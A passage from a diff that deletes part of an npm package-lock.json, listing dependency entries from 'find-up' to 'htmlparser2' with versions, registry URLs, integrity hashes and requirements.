-      "integrity": "sha1-RdG35QbHF93UgndaK3eSCjwMV6c=",
-      "requires": {
-        "locate-path": "^2.0.0"
-      }
-    },
-    "flat-cache": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-2.0.1.tgz",
-      "integrity": "sha512-LoQe6yDuUMDzQAEH8sgmh4Md6oZnc/7PjtwjNFSzveXqSHt6ka9fPBuso7IGf9Rz4uqnSnWiFH2B/zj24a5ReA==",
-      "requires": {
-        "flatted": "^2.0.0",
-        "rimraf": "2.6.3",
-        "write": "1.0.3"
-      }
-    },
-    "flatted": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npmjs.org/flatted/-/flatted-2.0.2.tgz",
-      "integrity": "sha512-r5wGx7YeOwNWNlCA0wQ86zKyDLMQr+/RB8xy74M4hTphfmjlijTSSXGuH8rnvKZnfT9i+75zmd8jcKdMR4O6jA=="
-    },
-    "flatten": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/flatten/-/flatten-1.0.3.tgz",
-      "integrity": "sha512-dVsPA/UwQ8+2uoFe5GHtiBMu48dWLTdsuEd7CKGlZlD78r1TTWBvDuFaFGKCo/ZfEr95Uk56vZoX86OsHkUeIg=="
-    },
-    "flush-write-stream": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/flush-write-stream/-/flush-write-stream-1.1.1.tgz",
-      "integrity": "sha512-3Z4XhFZ3992uIq0XOqb9AreonueSYphE6oYbpt5+3u06JWklbsPkNv3ZKkP9Bz/r+1MWCaMoSQ28P85+1Yc77w==",
-      "requires": {
-        "inherits": "^2.0.3",
-        "readable-stream": "^2.3.6"
-      },
-      "dependencies": {
-        "readable-stream": {
-          "version": "2.3.7",
-          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
-          "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
-          "requires": {
-            "core-util-is": "~1.0.0",
-            "inherits": "~2.0.3",
-            "isarray": "~1.0.0",
-            "process-nextick-args": "~2.0.0",
-            "safe-buffer": "~5.1.1",
-            "string_decoder": "~1.1.1",
-            "util-deprecate": "~1.0.1"
-          }
-        },
-        "string_decoder": {
-          "version": "1.1.1",
-          "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
-          "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
-          "requires": {
-            "safe-buffer": "~5.1.0"
-          }
-        }
-      }
-    },
-    "follow-redirects": {
-      "version": "1.11.0",
-      "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.11.0.tgz",
-      "integrity": "sha512-KZm0V+ll8PfBrKwMzdo5D13b1bur9Iq9Zd/RMmAoQQcl2PxxFml8cxXPaaPYVbV0RjNjq1CU7zIzAOqtUPudmA==",
-      "requires": {
-        "debug": "^3.0.0"
-      },
-      "dependencies": {
-        "debug": {
-          "version": "3.2.6",
-          "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz",
-          "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==",
-          "requires": {
-            "ms": "^2.1.1"
-          }
-        }
-      }
-    },
-    "for-in": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/for-in/-/for-in-1.0.2.tgz",
-      "integrity": "sha1-gQaNKVqBQuwKxybG4iAMMPttXoA="
-    },
-    "for-own": {
-      "version": "0.1.5",
-      "resolved": "https://registry.npmjs.org/for-own/-/for-own-0.1.5.tgz",
-      "integrity": "sha1-UmXGgaTylNq78XyVCbZ2OqhFEM4=",
-      "requires": {
-        "for-in": "^1.0.1"
-      }
-    },
-    "forever-agent": {
-      "version": "0.6.1",
-      "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz",
-      "integrity": "sha1-+8cfDEGt6zf5bFd60e1C2P2sypE="
-    },
-    "fork-ts-checker-webpack-plugin": {
-      "version": "3.1.1",
-      "resolved": "https://registry.npmjs.org/fork-ts-checker-webpack-plugin/-/fork-ts-checker-webpack-plugin-3.1.1.tgz",
-      "integrity": "sha512-DuVkPNrM12jR41KM2e+N+styka0EgLkTnXmNcXdgOM37vtGeY+oCBK/Jx0hzSeEU6memFCtWb4htrHPMDfwwUQ==",
-      "requires": {
-        "babel-code-frame": "^6.22.0",
-        "chalk": "^2.4.1",
-        "chokidar": "^3.3.0",
-        "micromatch": "^3.1.10",
-        "minimatch": "^3.0.4",
-        "semver": "^5.6.0",
-        "tapable": "^1.0.0",
-        "worker-rpc": "^0.1.0"
-      },
-      "dependencies": {
-        "semver": {
-          "version": "5.7.1",
-          "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
-          "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ=="
-        }
-      }
-    },
-    "form-data": {
-      "version": "2.3.3",
-      "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.3.tgz",
-      "integrity": "sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==",
-      "requires": {
-        "asynckit": "^0.4.0",
-        "combined-stream": "^1.0.6",
-        "mime-types": "^2.1.12"
-      }
-    },
-    "forwarded": {
-      "version": "0.1.2",
-      "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.1.2.tgz",
-      "integrity": "sha1-mMI9qxF1ZXuMBXPozszZGw/xjIQ="
-    },
-    "fragment-cache": {
-      "version": "0.2.1",
-      "resolved": "https://registry.npmjs.org/fragment-cache/-/fragment-cache-0.2.1.tgz",
-      "integrity": "sha1-QpD60n8T6Jvn8zeZxrxaCr//DRk=",
-      "requires": {
-        "map-cache": "^0.2.2"
-      }
-    },
-    "fresh": {
-      "version": "0.5.2",
-      "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz",
-      "integrity": "sha1-PYyt2Q2XZWn6g1qx+OSyOhBWBac="
-    },
-    "from2": {
-      "version": "2.3.0",
-      "resolved": "https://registry.npmjs.org/from2/-/from2-2.3.0.tgz",
-      "integrity": "sha1-i/tVAr3kpNNs/e6gB/zKIdfjgq8=",
-      "requires": {
-        "inherits": "^2.0.1",
-        "readable-stream": "^2.0.0"
-      },
-      "dependencies": {
-        "readable-stream": {
-          "version": "2.3.7",
-          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
-          "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
-          "requires": {
-            "core-util-is": "~1.0.0",
-            "inherits": "~2.0.3",
-            "isarray": "~1.0.0",
-            "process-nextick-args": "~2.0.0",
-            "safe-buffer": "~5.1.1",
-            "string_decoder": "~1.1.1",
-            "util-deprecate": "~1.0.1"
-          }
-        },
-        "string_decoder": {
-          "version": "1.1.1",
-          "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
-          "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
-          "requires": {
-            "safe-buffer": "~5.1.0"
-          }
-        }
-      }
-    },
-    "fs-extra": {
-      "version": "8.1.0",
-      "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-8.1.0.tgz",
-      "integrity": "sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g==",
-      "requires": {
-        "graceful-fs": "^4.2.0",
-        "jsonfile": "^4.0.0",
-        "universalify": "^0.1.0"
-      }
-    },
-    "fs-minipass": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-2.1.0.tgz",
-      "integrity": "sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==",
-      "requires": {
-        "minipass": "^3.0.0"
-      }
-    },
-    "fs-write-stream-atomic": {
-      "version": "1.0.10",
-      "resolved": "https://registry.npmjs.org/fs-write-stream-atomic/-/fs-write-stream-atomic-1.0.10.tgz",
-      "integrity": "sha1-tH31NJPvkR33VzHnCp3tAYnbQMk=",
-      "requires": {
-        "graceful-fs": "^4.1.2",
-        "iferr": "^0.1.5",
-        "imurmurhash": "^0.1.4",
-        "readable-stream": "1 || 2"
-      },
-      "dependencies": {
-        "readable-stream": {
-          "version": "2.3.7",
-          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
-          "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
-          "requires": {
-            "core-util-is": "~1.0.0",
-            "inherits": "~2.0.3",
-            "isarray": "~1.0.0",
-            "process-nextick-args": "~2.0.0",
-            "safe-buffer": "~5.1.1",
-            "string_decoder": "~1.1.1",
-            "util-deprecate": "~1.0.1"
-          }
-        },
-        "string_decoder": {
-          "version": "1.1.1",
-          "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
-          "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
-          "requires": {
-            "safe-buffer": "~5.1.0"
-          }
-        }
-      }
-    },
-    "fs.realpath": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz",
-      "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8="
-    },
-    "fsevents": {
-      "version": "2.1.2",
-      "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.1.2.tgz",
-      "integrity": "sha512-R4wDiBwZ0KzpgOWetKDug1FZcYhqYnUYKtfZYt4mD5SBz76q0KR4Q9o7GIPamsVPGmW3EYPPJ0dOOjvx32ldZA==",
-      "optional": true
-    },
-    "function-bind": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz",
-      "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A=="
-    },
-    "functional-red-black-tree": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz",
-      "integrity": "sha1-GwqzvVU7Kg1jmdKcDj6gslIHgyc="
-    },
-    "gensync": {
-      "version": "1.0.0-beta.1",
-      "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.1.tgz",
-      "integrity": "sha512-r8EC6NO1sngH/zdD9fiRDLdcgnbayXah+mLgManTaIZJqEC1MZstmnox8KpnI2/fxQwrp5OpCOYWLp4rBl4Jcg=="
-    },
-    "get-caller-file": {
-      "version": "2.0.5",
-      "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz",
-      "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg=="
-    },
-    "get-own-enumerable-property-symbols": {
-      "version": "3.0.2",
-      "resolved": "https://registry.npmjs.org/get-own-enumerable-property-symbols/-/get-own-enumerable-property-symbols-3.0.2.tgz",
-      "integrity": "sha512-I0UBV/XOz1XkIJHEUDMZAbzCThU/H8DxmSfmdGcKPnVhu2VfFqr34jr9777IyaTYvxjedWhqVIilEDsCdP5G6g=="
-    },
-    "get-stream": {
-      "version": "4.1.0",
-      "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz",
-      "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==",
-      "requires": {
-        "pump": "^3.0.0"
-      }
-    },
-    "get-value": {
-      "version": "2.0.6",
-      "resolved": "https://registry.npmjs.org/get-value/-/get-value-2.0.6.tgz",
-      "integrity": "sha1-3BXKHGcjh8p2vTesCjlbogQqLCg="
-    },
-    "getpass": {
-      "version": "0.1.7",
-      "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz",
-      "integrity": "sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=",
-      "requires": {
-        "assert-plus": "^1.0.0"
-      }
-    },
-    "glob": {
-      "version": "7.1.6",
-      "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz",
-      "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==",
-      "requires": {
-        "fs.realpath": "^1.0.0",
-        "inflight": "^1.0.4",
-        "inherits": "2",
-        "minimatch": "^3.0.4",
-        "once": "^1.3.0",
-        "path-is-absolute": "^1.0.0"
-      }
-    },
-    "glob-parent": {
-      "version": "5.1.1",
-      "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.1.tgz",
-      "integrity": "sha512-FnI+VGOpnlGHWZxthPGR+QhR78fuiK0sNLkHQv+bL9fQi57lNNdquIbna/WrfROrolq8GK5Ek6BiMwqL/voRYQ==",
-      "requires": {
-        "is-glob": "^4.0.1"
-      }
-    },
-    "glob-to-regexp": {
-      "version": "0.3.0",
-      "resolved": "https://registry.npmjs.org/glob-to-regexp/-/glob-to-regexp-0.3.0.tgz",
-      "integrity": "sha1-jFoUlNIGbFcMw7/kSWF1rMTVAqs="
-    },
-    "global-modules": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/global-modules/-/global-modules-2.0.0.tgz",
-      "integrity": "sha512-NGbfmJBp9x8IxyJSd1P+otYK8vonoJactOogrVfFRIAEY1ukil8RSKDz2Yo7wh1oihl51l/r6W4epkeKJHqL8A==",
-      "requires": {
-        "global-prefix": "^3.0.0"
-      }
-    },
-    "global-prefix": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/global-prefix/-/global-prefix-3.0.0.tgz",
-      "integrity": "sha512-awConJSVCHVGND6x3tmMaKcQvwXLhjdkmomy2W+Goaui8YPgYgXJZewhg3fWC+DlfqqQuWg8AwqjGTD2nAPVWg==",
-      "requires": {
-        "ini": "^1.3.5",
-        "kind-of": "^6.0.2",
-        "which": "^1.3.1"
-      },
-      "dependencies": {
-        "kind-of": {
-          "version": "6.0.3",
-          "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
-          "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw=="
-        }
-      }
-    },
-    "globals": {
-      "version": "11.12.0",
-      "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz",
-      "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA=="
-    },
-    "globby": {
-      "version": "8.0.2",
-      "resolved": "https://registry.npmjs.org/globby/-/globby-8.0.2.tgz",
-      "integrity": "sha512-yTzMmKygLp8RUpG1Ymu2VXPSJQZjNAZPD4ywgYEaG7e4tBJeUQBO8OpXrf1RCNcEs5alsoJYPAMiIHP0cmeC7w==",
-      "requires": {
-        "array-union": "^1.0.1",
-        "dir-glob": "2.0.0",
-        "fast-glob": "^2.0.2",
-        "glob": "^7.1.2",
-        "ignore": "^3.3.5",
-        "pify": "^3.0.0",
-        "slash": "^1.0.0"
-      },
-      "dependencies": {
-        "ignore": {
-          "version": "3.3.10",
-          "resolved": "https://registry.npmjs.org/ignore/-/ignore-3.3.10.tgz",
-          "integrity": "sha512-Pgs951kaMm5GXP7MOvxERINe3gsaVjUWFm+UZPSq9xYriQAksyhg0csnS0KXSNRD5NmNdapXEpjxG49+AKh/ug=="
-        },
-        "slash": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npmjs.org/slash/-/slash-1.0.0.tgz",
-          "integrity": "sha1-xB8vbDn8FtHNF61LXYlhFK5HDVU="
-        }
-      }
-    },
-    "graceful-fs": {
-      "version": "4.2.3",
-      "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.3.tgz",
-      "integrity": "sha512-a30VEBm4PEdx1dRB7MFK7BejejvCvBronbLjht+sHuGYj8PHs7M/5Z+rt5lw551vZ7yfTCj4Vuyy3mSJytDWRQ=="
-    },
-    "growly": {
-      "version": "1.3.0",
-      "resolved": "https://registry.npmjs.org/growly/-/growly-1.3.0.tgz",
-      "integrity": "sha1-8QdIy+dq+WS3yWyTxrzCivEgwIE="
-    },
-    "gzip-size": {
-      "version": "5.1.1",
-      "resolved": "https://registry.npmjs.org/gzip-size/-/gzip-size-5.1.1.tgz",
-      "integrity": "sha512-FNHi6mmoHvs1mxZAds4PpdCS6QG8B4C1krxJsMutgxl5t3+GlRTzzI3NEkifXx2pVsOvJdOGSmIgDhQ55FwdPA==",
-      "requires": {
-        "duplexer": "^0.1.1",
-        "pify": "^4.0.1"
-      },
-      "dependencies": {
-        "pify": {
-          "version": "4.0.1",
-          "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz",
-          "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g=="
-        }
-      }
-    },
-    "handle-thing": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/handle-thing/-/handle-thing-2.0.1.tgz",
-      "integrity": "sha512-9Qn4yBxelxoh2Ow62nP+Ka/kMnOXRi8BXnRaUwezLNhqelnN49xKz4F/dPP8OYLxLxq6JDtZb2i9XznUQbNPTg=="
-    },
-    "har-schema": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/har-schema/-/har-schema-2.0.0.tgz",
-      "integrity": "sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI="
-    },
-    "har-validator": {
-      "version": "5.1.3",
-      "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.3.tgz",
-      "integrity": "sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==",
-      "requires": {
-        "ajv": "^6.5.5",
-        "har-schema": "^2.0.0"
-      }
-    },
-    "harmony-reflect": {
-      "version": "1.6.1",
-      "resolved": "https://registry.npmjs.org/harmony-reflect/-/harmony-reflect-1.6.1.tgz",
-      "integrity": "sha512-WJTeyp0JzGtHcuMsi7rw2VwtkvLa+JyfEKJCFyfcS0+CDkjQ5lHPu7zEhFZP+PDSRrEgXa5Ah0l1MbgbE41XjA=="
-    },
-    "has": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz",
-      "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==",
-      "requires": {
-        "function-bind": "^1.1.1"
-      }
-    },
-    "has-ansi": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/has-ansi/-/has-ansi-2.0.0.tgz",
-      "integrity": "sha1-NPUEnOHs3ysGSa8+8k5F7TVBbZE=",
-      "requires": {
-        "ansi-regex": "^2.0.0"
-      },
-      "dependencies": {
-        "ansi-regex": {
-          "version": "2.1.1",
-          "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz",
-          "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8="
-        }
-      }
-    },
-    "has-flag": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
-      "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0="
-    },
-    "has-symbols": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.1.tgz",
-      "integrity": "sha512-PLcsoqu++dmEIZB+6totNFKq/7Do+Z0u4oT0zKOJNl3lYK6vGwwu2hjHs+68OEZbTjiUE9bgOABXbP/GvrS0Kg=="
-    },
-    "has-value": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/has-value/-/has-value-1.0.0.tgz",
-      "integrity": "sha1-GLKB2lhbHFxR3vJMkw7SmgvmsXc=",
-      "requires": {
-        "get-value": "^2.0.6",
-        "has-values": "^1.0.0",
-        "isobject": "^3.0.0"
-      }
-    },
-    "has-values": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/has-values/-/has-values-1.0.0.tgz",
-      "integrity": "sha1-lbC2P+whRmGab+V/51Yo1aOe/k8=",
-      "requires": {
-        "is-number": "^3.0.0",
-        "kind-of": "^4.0.0"
-      },
-      "dependencies": {
-        "kind-of": {
-          "version": "4.0.0",
-          "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-4.0.0.tgz",
-          "integrity": "sha1-IIE989cSkosgc3hpGkUGb65y3Vc=",
-          "requires": {
-            "is-buffer": "^1.1.5"
-          }
-        }
-      }
-    },
-    "hash-base": {
-      "version": "3.0.4",
-      "resolved": "https://registry.npmjs.org/hash-base/-/hash-base-3.0.4.tgz",
-      "integrity": "sha1-X8hoaEfs1zSZQDMZprCj8/auSRg=",
-      "requires": {
-        "inherits": "^2.0.1",
-        "safe-buffer": "^5.0.1"
-      }
-    },
-    "hash.js": {
-      "version": "1.1.7",
-      "resolved": "https://registry.npmjs.org/hash.js/-/hash.js-1.1.7.tgz",
-      "integrity": "sha512-taOaskGt4z4SOANNseOviYDvjEJinIkRgmp7LbKP2YTTmVxWBl87s/uzK9r+44BclBSp2X7K1hqeNfz9JbBeXA==",
-      "requires": {
-        "inherits": "^2.0.3",
-        "minimalistic-assert": "^1.0.1"
-      }
-    },
-    "he": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz",
-      "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw=="
-    },
-    "hex-color-regex": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/hex-color-regex/-/hex-color-regex-1.1.0.tgz",
-      "integrity": "sha512-l9sfDFsuqtOqKDsQdqrMRk0U85RZc0RtOR9yPI7mRVOa4FsR/BVnZ0shmQRM96Ji99kYZP/7hn1cedc1+ApsTQ=="
-    },
-    "hmac-drbg": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/hmac-drbg/-/hmac-drbg-1.0.1.tgz",
-      "integrity": "sha1-0nRXAQJabHdabFRXk+1QL8DGSaE=",
-      "requires": {
-        "hash.js": "^1.0.3",
-        "minimalistic-assert": "^1.0.0",
-        "minimalistic-crypto-utils": "^1.0.1"
-      }
-    },
-    "hosted-git-info": {
-      "version": "2.8.8",
-      "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.8.tgz",
-      "integrity": "sha512-f/wzC2QaWBs7t9IYqB4T3sR1xviIViXJRJTWBlx2Gf3g0Xi5vI7Yy4koXQ1c9OYDGHN9sBy1DQ2AB8fqZBWhUg=="
-    },
-    "hpack.js": {
-      "version": "2.1.6",
-      "resolved": "https://registry.npmjs.org/hpack.js/-/hpack.js-2.1.6.tgz",
-      "integrity": "sha1-h3dMCUnlE/QuhFdbPEVoH63ioLI=",
-      "requires": {
-        "inherits": "^2.0.1",
-        "obuf": "^1.0.0",
-        "readable-stream": "^2.0.1",
-        "wbuf": "^1.1.0"
-      },
-      "dependencies": {
-        "readable-stream": {
-          "version": "2.3.7",
-          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
-          "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
-          "requires": {
-            "core-util-is": "~1.0.0",
-            "inherits": "~2.0.3",
-            "isarray": "~1.0.0",
-            "process-nextick-args": "~2.0.0",
-            "safe-buffer": "~5.1.1",
-            "string_decoder": "~1.1.1",
-            "util-deprecate": "~1.0.1"
-          }
-        },
-        "string_decoder": {
-          "version": "1.1.1",
-          "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
-          "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
-          "requires": {
-            "safe-buffer": "~5.1.0"
-          }
-        }
-      }
-    },
-    "hsl-regex": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/hsl-regex/-/hsl-regex-1.0.0.tgz",
-      "integrity": "sha1-1JMwx4ntgZ4nakwNJy3/owsY/m4="
-    },
-    "hsla-regex": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/hsla-regex/-/hsla-regex-1.0.0.tgz",
-      "integrity": "sha1-wc56MWjIxmFAM6S194d/OyJfnDg="
-    },
-    "html-comment-regex": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npmjs.org/html-comment-regex/-/html-comment-regex-1.1.2.tgz",
-      "integrity": "sha512-P+M65QY2JQ5Y0G9KKdlDpo0zK+/OHptU5AaBwUfAIDJZk1MYf32Frm84EcOytfJE0t5JvkAnKlmjsXDnWzCJmQ=="
-    },
-    "html-encoding-sniffer": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-1.0.2.tgz",
-      "integrity": "sha512-71lZziiDnsuabfdYiUeWdCVyKuqwWi23L8YeIgV9jSSZHCtb6wB1BKWooH7L3tn4/FuZJMVWyNaIDr4RGmaSYw==",
-      "requires": {
-        "whatwg-encoding": "^1.0.1"
-      }
-    },
-    "html-entities": {
-      "version": "1.3.1",
-      "resolved": "https://registry.npmjs.org/html-entities/-/html-entities-1.3.1.tgz",
-      "integrity": "sha512-rhE/4Z3hIhzHAUKbW8jVcCyuT5oJCXXqhN/6mXXVCpzTmvJnoH2HL/bt3EZ6p55jbFJBeAe1ZNpL5BugLujxNA=="
-    },
-    "html-escaper": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz",
-      "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg=="
-    },
-    "html-minifier-terser": {
-      "version": "5.0.5",
-      "resolved": "https://registry.npmjs.org/html-minifier-terser/-/html-minifier-terser-5.0.5.tgz",
-      "integrity": "sha512-cBSFFghQh/uHcfSiL42KxxIRMF7A144+3E44xdlctIjxEmkEfCvouxNyFH2wysXk1fCGBPwtcr3hDWlGTfkDew==",
-      "requires": {
-        "camel-case": "^4.1.1",
-        "clean-css": "^4.2.3",
-        "commander": "^4.1.1",
-        "he": "^1.2.0",
-        "param-case": "^3.0.3",
-        "relateurl": "^0.2.7",
-        "terser": "^4.6.3"
-      },
-      "dependencies": {
-        "commander": {
-          "version": "4.1.1",
-          "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz",
-          "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA=="
-        }
-      }
-    },
-    "html-webpack-plugin": {
-      "version": "4.0.0-beta.11",
-      "resolved": "https://registry.npmjs.org/html-webpack-plugin/-/html-webpack-plugin-4.0.0-beta.11.tgz",
-      "integrity": "sha512-4Xzepf0qWxf8CGg7/WQM5qBB2Lc/NFI7MhU59eUDTkuQp3skZczH4UA1d6oQyDEIoMDgERVhRyTdtUPZ5s5HBg==",
-      "requires": {
-        "html-minifier-terser": "^5.0.1",
-        "loader-utils": "^1.2.3",
-        "lodash": "^4.17.15",
-        "pretty-error": "^2.1.1",
-        "tapable": "^1.1.3",
-        "util.promisify": "1.0.0"
-      },
-      "dependencies": {
-        "util.promisify": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npmjs.org/util.promisify/-/util.promisify-1.0.0.tgz",
-          "integrity": "sha512-i+6qA2MPhvoKLuxnJNpXAGhg7HphQOSUq2LKMZD0m15EiskXUkMvKdF4Uui0WYeCUGea+o2cw/ZuwehtfsrNkA==",
-          "requires": {
-            "define-properties": "^1.1.2",
-            "object.getownpropertydescriptors": "^2.0.3"
-          }
-        }
-      }
-    },
-    "htmlparser2": {
-      "version": "3.10.1",
-      "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-3.10.1.tgz",
